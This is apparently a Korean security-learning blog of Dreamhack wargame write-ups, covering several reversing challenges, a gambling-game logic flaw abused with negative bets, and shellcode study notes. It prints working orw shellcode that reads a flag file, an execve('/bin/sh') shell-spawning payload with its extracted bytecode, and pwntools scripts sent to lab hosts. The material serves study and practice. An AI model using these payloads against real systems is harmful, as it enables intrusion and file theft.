728x90

풀이

실행파일의 main 함수를 살펴보자. 이번에는 sub_140001000 함수가 중요한 것 같으니 살펴보자.

sub_140001000 함수를 살펴보면 배열 aC와 주소 a1에서 시작하는 메모리의 내용이 일치해야한다. 여기서 a1은 입력을 받는 값이니 우리가 원하는 문자열은 배열 aC에 있을 것이다.

 

aC 배열을 살펴서 순서대로 읽어보면 원하는 입력값을 찾을 수 있다.

 

* main 함수에 있는 주소값을 더하며 비교하는 구문 . 해당 주소값으로 가면 플래그를 확인할 수 있다.

'Write-up > Reversing' 카테고리의 다른 글

[Dreamhack] rev-basic-4  (0) 2024.05.13
[Dreamhack] rev-basic-3  (0) 2024.05.13
[Dreamhack] simple-operation  (0) 2024.05.13
[Dreamhack] rev-basic-1  (0) 2024.05.13
[Dreamhack] rev-basic-0  (0) 2024.05.09
728x90

풀이

IDA를 통해 chall의 main 함수 코드를 살펴보면

1. Random number v6와 사용자 입력값 v7을 xor하여 v11을 얻는다

2. s1은 s(=v11)을 거꾸로 저장한 것이다

3. s1=s2=a0b4c1d7과 같으면 flag를 출력한다

 

Random number와 입력값의 xor 값이 7d1c4b0a와 같으면 된다. 즉, 7d1c4b0a와 Random number를 xor한 값을 입력해주면된다.

 

from pwn import *

r = remote('host3.dreamhack.games', 21711)

r.recvuntil(b': ')
a = r.recvline()
a = a.decode('utf-8').strip()
b = int(a, 16)^ 0x7d1c4b0a
b = str(b).encode()

r.sendlineafter(b'?', b)

r.interactive()

위의 작업을 실행하는 코드를 작성했다. 그리고 실행해보면 아래와 같이 flag를 얻을 수 있다.

'Write-up > Reversing' 카테고리의 다른 글

[Dreamhack] rev-basic-4  (0) 2024.05.13
[Dreamhack] rev-basic-3  (0) 2024.05.13
[Dreamhack] rev-basic-2  (0) 2024.05.13
[Dreamhack] rev-basic-1  (0) 2024.05.13
[Dreamhack] rev-basic-0  (0) 2024.05.09
728x90

풀이

 

rev-basic-0 때와 동일하게 correct가 나오는 부분으로 타고 들어갔다. 

main함수 코드를 살펴보면 sub_140001000 함수에 따라 correct 또는 wrong이 나오는 것을 알 수 있다.

sub_140001000를 살펴보면 입력값의 각 자리가 조건에 모두 만족해야한다는 걸 확인했다. 여기서 'r' 단축키를 이용해서 숫자를 문자로 변환해서 원하는 문자열을 얻을 수 있었다.

 

배운점

IDA는 단축키를 잘 쓸 줄 알아야겠구나

  • 이름 재설정(n): 함수, 변수의 이름을 변경합니다.
  • 숫자-문자 아스키코드 변환(r): 아스키코드 테이블에 따라 숫자는 문자로, 문자는 숫자로 변환합니다.

'Write-up > Reversing' 카테고리의 다른 글

[Dreamhack] rev-basic-4  (0) 2024.05.13
[Dreamhack] rev-basic-3  (0) 2024.05.13
[Dreamhack] rev-basic-2  (0) 2024.05.13
[Dreamhack] simple-operation  (0) 2024.05.13
[Dreamhack] rev-basic-0  (0) 2024.05.09
728x90

풀이

#!/usr/bin/env python3
import random
import signal
import sys

MENU_GAMBLE     = 1
MENU_VERIFY     = 2
MENU_FLAG       = 3
MENU_LEAVE      = 4

money = 500
verified = False

def show_menu():
    print('=======================================')
    print('1. go to gamble')
    print('2. verify you\'re a robot')
    print('3. buy flag')
    print('4. leave')

def get_randn():
    return random.randint(0, 0xfffffffe)

def gamble():
    global money
    global verified

    if verified is False:
        print('you\'re are not verified as a robot ;[')
        return

    print('greetings, robot :]')

    bet = int(input('how much money do you want to bet (your money: ${0})? '.format(money)))
    if money < bet:
        print('you don\'t have enough money (your money: ${0}).'.format(money))
        return

    randn = get_randn()
    answer = randn % 5 + 1

    print('[1] [2] [3] [4] [5]')
    user_answer = int(input('pick one of the box > '))

    print('answer is [{0}]!'.format(answer))

    if user_answer == answer:
        print('you earned ${0}.'.format(bet))
        money += bet
    else:
        print('you lost ${0}.'.format(bet))
        money -= bet

    if money <= 0:
        print('you busted ;]')
        sys.exit()

class MyTimeoutError(Exception):
    def __init__(self):
        pass

def timeout_handler(signum, frame):
    raise MyTimeoutError()

def verify():
    global verified

    if verified is True:
        print('you have already been verified as a robot :]')
        return

    randn224 = (get_randn() | get_randn() << 32 | get_randn() << 64 |
                get_randn() << 96 | get_randn() << 128 | get_randn() << 160)

    challenge = randn224 ^ 0xdeaddeadbeefbeefcafecafe13371337DEFACED0DEFACED0

    signal.alarm(3)
    signal.signal(signal.SIGALRM, timeout_handler)

    try:
        print('please type this same: "{0}"'.format(challenge))
        user_challenge = input('> ')

        if user_challenge == str(challenge):
            verified = True
            print('you\'re are now verified as a robot :]')
        else:
            print('you\'re not a robot ;[')
        signal.alarm(0)

    except MyTimeoutError:
        print('\nyou failed to verify! robots aren\'t that slow ;[')

def flag():
    global money

    print('price of the flag is $10,000,000,000.')

    if money < 10000000000:
        print('you don\'t have enough money (your money: ${0}).'.format(money))
        return

    with open('./flag', 'rb') as f:
        print(b'flag is ' + f.read())
    sys.exit()

def main():
    while True:
        show_menu()
        menu = int(input('> '))

        if menu == MENU_GAMBLE:
            gamble()

        elif menu == MENU_VERIFY:
            verify()

        elif menu == MENU_FLAG:
            flag()

        elif menu == MENU_LEAVE:
            sys.exit()

        else:
            print('wrong menu :[')

if __name__ == '__main__':
    main()

문제에서 제공된 코드를 살펴보면 문제풀이 순서는 다음과 같다.

1. 로봇임을 증명한다 : 출력된 숫자를 똑같이 입력

2. 1~5사이의 숫자를 찍는 gamble을 통해서 돈을 얻는다

3. 10000000000 의 돈을 내고 flag를 구매한다

 

pwntool 로 로봇인증을 시도하다가 실력 부족으로 삽질하다가, 그냥 복붙을 해봤는데 됐다..음?

 

from pwn import *

r = remote('host3.dreamhack.games', 13576)

r.recvuntil(b'> ')
r.sendline(b'2') 
 
r.recvuntil(b':')
num = r.recvline()[2:-2] 

r.sendlineafter(b'> ', num)  

r.interactive()

 

나중에 작성한 코드

 

돈을 잃으면 어떻게 되는지 확인하고 싶어서 입력을 했는데 맞춰버렸다.

잃어서 다시 500으로 돌아왔다.

이쯤에서 코드를 다시 살펴보니 배팅 금액에 대해서 가진 돈보다 작아야하는 제한만 있고 음수제한은 없는 것을 확인했다.

혹시나 해서 -200을 입력을 했는데 lost -200을 했다고 나왔다. 가진 돈을 확인해보니 700으로 늘어나있었다.

 

이제 큰 음수로 금액을 설정하고 배팅을 실패하면,

flag를 얻을 수 있다.

'Write-up > Crypto' 카테고리의 다른 글

[Dreamhack] Double DES  (0) 2024.09.20
[Dreamhack] ICM2022  (0) 2024.09.13
[Dreamhack] RSA-wiener  (1) 2024.05.01
[Dreamhack] Textbook-RSA  (0) 2024.04.08
[Dreamhack] chinese what?  (0) 2024.04.08
728x90

풀이

먼저 flag파일의 경로를 hex로 변환한다. 여기서 리틀엔티안방식으로 정렬하는거 기억해야한다!

section .text
global _start
_start:
    
    push 0x0
    mov rax, 0x676e6f6f6f6f6f6f
    push rax
    mov rax, 0x6c5f73695f656d61
    push rax
    mov rax, 0x6e5f67616c662f63
    push rax
    mov rax, 0x697361625f6c6c65
    push rax
    mov rax, 0x68732f656d6f682f
    push rax
    mov rdi, rsp    
    xor rsi, rsi    
    xor rdx, rdx    
    mov rax, 2      
    syscall         

    mov rdi, rax      
    mov rsi, rsp
    sub rsi, 0x30     
    mov rdx, 0x30     
    mov rax, 0x0      
    syscall           

    mov rdi, 1        
    mov rax, 0x1      
    syscall

그리고 문제에 나와있는 참고 코드와 로드맵의 예시 orw 셸코드를 활용하여 코드를 작성한다.

여기서 push 0x0은 문자열의 끝을 나타내는 널 종료자를 스택에 푸시하는 것이다. 이거 안 해서 한참 헤맸다.

문제의 참고 코드를 활용하여 바이트 코드로 바꾸었다. 

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05

툴을 이용해서 형식을 변환해주었다.

서버 접속해서 셸코드를 입력했는데 아무일도 일어나지 않는다. 문제의 댓글을 보니 pwn 모듈을 사용해서 서버에 전송해야한다고 한다. 왤까..

from pwn import *

r = remote('host3.dreamhack.games', 21732)

shell = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'

r.sendlineafter(b'shellcode:', shell)

r.interactive()

코드를 작성하고 실행해줬다. 

flag를 얻었다!

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
728x90

Shellcode

익스플로잇(Exploit) : 상대 시스템을 공격하는 것

셸코드(Shellcode) : 익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸코드는 어셈블리어로 구성되며 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 셸코드의 목적에 따라 다르게 작성.

 

1. orw 셸코드

: 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드.

 

[예시] "/tmp/flag"를 읽는 셸코드

 

-  셸코드의 동작을 C언어 형식의 의사코드로 표현한 것

char buf[0x30];

int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);

 

- 필요 syscall

syscall rax rdi rsi rdx
read 0x00 fd *buf count
write 0x01 fd buf* count
open 0x02 *filename flags mode

 

- c 코드 어셈블리어 구현

(1) open : int fd = open("/tmp/flag", RD_ONLY, NULL);

push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi,rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2 
syscall

 

(2) read : read(fd, buf, 0x30);

mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall

 

(3) write : write(1, buf, 0x30);

mov rdi, 1
mov rax, 0x1
syscall

 

2. execve 셸코드

: 임의의 프로그램을 실행하는 셸코드, 이를 이용하면 서버의 셸을 획득. 

syscall rax rdi rsi rdx
execve 0x3b *filename *argv *envp

- argv : 실행파일에 넘겨줄 인자 / envp : 환경변수


- `evecve("/bin/sh", null, null)` 어셈블리어로 작성

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

 

 

3. 셸코드 제작

 

- 셸코드 컴파일 및 실행

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c    # rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();

int main() { run_sh(); }

위 스켈레톤 코드의 `__asm__ ` 함수 안에 작성한 어셈블리어를 입력하고 `gcc -o name name.c -masm=intel` 통해 컴파일하여 실행하면 셸코드를 실행해볼 수 있다.

 

- 셸코드를 바이트코드(opcode)로 추출

(1) 셸코드 asm 파일 생성

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80

 

(2) shellcode.o 파일 생성 후 objdump로 확인

$ sudo apt-get install nasm   # nasm 패키지 설치
$ nasm -f elf shellcode.asm   # 소스파일을 ELF 형식의 오브젝트 파일(shellcode.o)로 컴파일
$ objdump -d shellcode.o      # objdump 사용하여 오브젝트 파일을 디스어셈블
shellcode.o:     file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
   0:	31 c0                	xor    %eax,%eax
   2:	50                   	push   %eax
   3:	68 2f 2f 73 68       	push   $0x68732f2f
   8:	68 2f 62 69 6e       	push   $0x6e69622f
   d:	89 e3                	mov    %esp,%ebx
   f:	31 c9                	xor    %ecx,%ecx
  11:	31 d2                	xor    %edx,%edx
  13:	b0 0b                	mov    $0xb,%al
  15:	cd 80                	int    $0x80
$

 

(3) 실행결과에서 기계어 코드 부분을 추출해 바이트 코드 생성

$ objcopy --dump-section .text=shellcode.bin shellcode.o # .text 섹션 추출하여 저장
$ xxd shellcode.bin                                      # 파일 내용을 헥사덤프형태로 출력
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331  1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80                        .1.....
$

 

(4) 완성된 바이트 코드

# execve /bin/sh shellcode: 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

 

[실습] shell_basic

728x90

 

풀이

문제파일을 실행해보고 아무거나 입력을 해보았다. 

IDA를 통해 문제파일을 열어서 바이너리에 포함된 문자열을 확인했다. Compar3_the_str1ng이 의심스럽지만, 일단 Wrong에 반대되는 Correct를 찾았다. 이게 어떻게 출력되는지 찾으면 원하는 문자열을 찾을 수 있을 것 같다. 

단축키 'x'를 통해서 Correct가 참조되는 함수를 확인했다. 단축키 'F5'를 통해서 해당 부분을 디컴파일 해보았다. 

디컴파일된 코드가 나왔다. 여기서 sub_7FF7C5CF1000 함수의 결과에 따라서 Correct 또는 Wrong이 출력되는 것을 확인할 수 있다. 

그럼 이제  sub_7FF7C5CF1000를 확인해봤다. Compar3_the_str1ng과 입력값을 비교해서 같은지 확인하고 있다. 원하는 문자열이 Compar3_the_str1ng인 것이 확실해졌다.

파일을 다시 실행해서 Compar3_the_str1ng를 입력해보면 Correct가 출력되는 것을 확인할 수 있다!

 

'Write-up > Reversing' 카테고리의 다른 글

[Dreamhack] rev-basic-4  (0) 2024.05.13
[Dreamhack] rev-basic-3  (0) 2024.05.13
[Dreamhack] rev-basic-2  (0) 2024.05.13
[Dreamhack] simple-operation  (0) 2024.05.13
[Dreamhack] rev-basic-1  (0) 2024.05.13
728x90

int_reversing

  • pwndbg

    pwndbg를 실행하고 info func명령을 통해서 함수 목록을 확인했다.

    disassemble main 명령을 통해서 main 함수의 어셈블리 코드를 확인했다.

코드를 살펴보면

  1. <+78>cmp DWORD PTR [rbp-0xc],eax : eax 값과 rbp-0xc 값을 비교합니다.
  2. <+65>mov eax, 0x0, <+70>call 0x10b0 <__isoc99_scanf@plt> : 해당 부분에서 scanf 함수를 호출하고 eax가 인자로 사용된 것을 보아 우리가 찾는 값이 rbp-0xc 에 저장되어 있는 것을 알 수 있다.
  3. <+27> mov QWORD PTR [rbp-0xc], 0x146 : 이 부분에서 우리가 찾는 값이 0x146인 것을 확인할 수 있다. 0x146은 10진수로 326이다.

 

  • IDA

    IDA에서 int_reversing 파일을 실행시키고 F5 단축키를 통해 decomplie을 해준다.

    그러면 위와 같이 원본 코드를 알 수 있다. 찾는 정수가 326인 것을 알 수 있다.

    파일을 실행해서 확인해보면 맞는 것을 확인할 수 있다.

 

string_reversing

  • pwndbg


pwndbg를 실행하고 info func 명령을 통해서 함수 목록을 확인했다.


disassemble main 명령을 통해서 main 함수의 어셈블리 코드를 확인했다.

코드를 살펴보면

  1. <+117>call 0x10c0 <strcmp@plt> : 이 부분에서 rsi와 rdi 값을 비교하는 것을 알 수 있다. 그 값은 각각 rbp-0x40과 rbp-0x20에서 불러져 온 것을 확인했다.
  2. scanf 가 호출되어 있는 부분에서 사용된 인자를 확인해보면 rbp-0x20이다. 해당 값은 사용자 입력값인 것을 알 수 있고, 이제 찾는 값은 rbp-0x40에 저장된 것을 알 수 있다.
  3. <+47> 줄을 보면 rax 값이 rbp-0x40에 전달된 것을 알수 있고, 그 위에 rax와 rbx 찾는 값이 저장된 것을 볼 수 있다.


찾은 값을 hex을 char으로 변환해보았다. 순서가 이상한것을 확인하고 little endian으로 정렬됐다는 것을 알 수 있었다.


이것을 다시 정렬해보면 우리가 찾는 문자열이 "Hacked_By_ISly” 인 것을 알 수 있다.


파일을 실행하여 해당 문자열을 입력하면 맞는 것을 확인할 수 있다.

 

  • IDA

    IDA에서 string_reversing 파일을 실행시키고 F5 단축키를 통해 decomplie을 해준다.

    그러면 위와 같이 원본 코드를 알 수 있다. 찾는 문자열이 "Hacked_By_ISly”인 것을 알 수 있다.

+ Recent posts